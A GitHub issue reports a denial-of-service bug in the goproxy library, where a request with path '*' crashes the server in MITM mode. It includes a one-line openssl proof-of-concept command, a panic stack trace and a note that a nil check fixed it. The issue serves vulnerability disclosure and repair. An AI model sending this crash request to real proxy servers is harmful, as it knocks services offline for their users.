Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

goproxy v1.1 was discovered to contain an issue which can lead to Denial of Service (DoS) via unspecified vectors #502

Closed
g0ku704 opened this issue Jun 29, 2023 · 2 comments · Fixed by #507

Comments

@g0ku704
Copy link
Contributor

g0ku704 commented Jun 29, 2023

A HTTP request to HTTPS page replaced path the "/" with asterix "*" crashes the elazar/goproxy server in MITM mode.

Vulnerability can be triggered by running this command against elazarl/goproxy in MITM Mode.

echo -e "GET * HTTP/1.1\r\n" | openssl s_client -proxy localhost:8000 -connect "localhost:8000" -ign_eof

Similar to this

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x38 pc=0x6b3260]

goroutine 1287 [running]:
github.com/elazarl/goproxy.(*ProxyHttpServer).handleHttps.func2()
        /go/pkg/mod/github.com/elazarl/goproxy@v0.0.0-20221015165544-a0805db90819/https.go:249 +0xd60
created by github.com/elazarl/goproxy.(*ProxyHttpServer).handleHttps
        /go/pkg/mod/github.com/elazarl/goproxy@v0.0.0-20221015165544-a0805db90819/https.go:211 +0x611

https://github.com/elazarl/goproxy/blob/master/https.go#L249

@g0ku704 g0ku704 changed the title panic: runtime error: invalid memory address or nil pointer dereference goproxy v1.1 was discovered to contain an issue which can lead to Denial of Service (DoS) via unspecified vectors Jul 18, 2023
@danmanor
Copy link

danmanor commented Aug 7, 2023

Is this issue resolved ?

@g0ku704
Copy link
Contributor Author

g0ku704 commented Aug 9, 2023

Is this issue resolved ?

Yes, I've added a nil check that was causing the crash and merged with the main branch now. But the release package is not updated yet. (#507)

# for free to join this conversation on GitHub. Already have an account? # to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants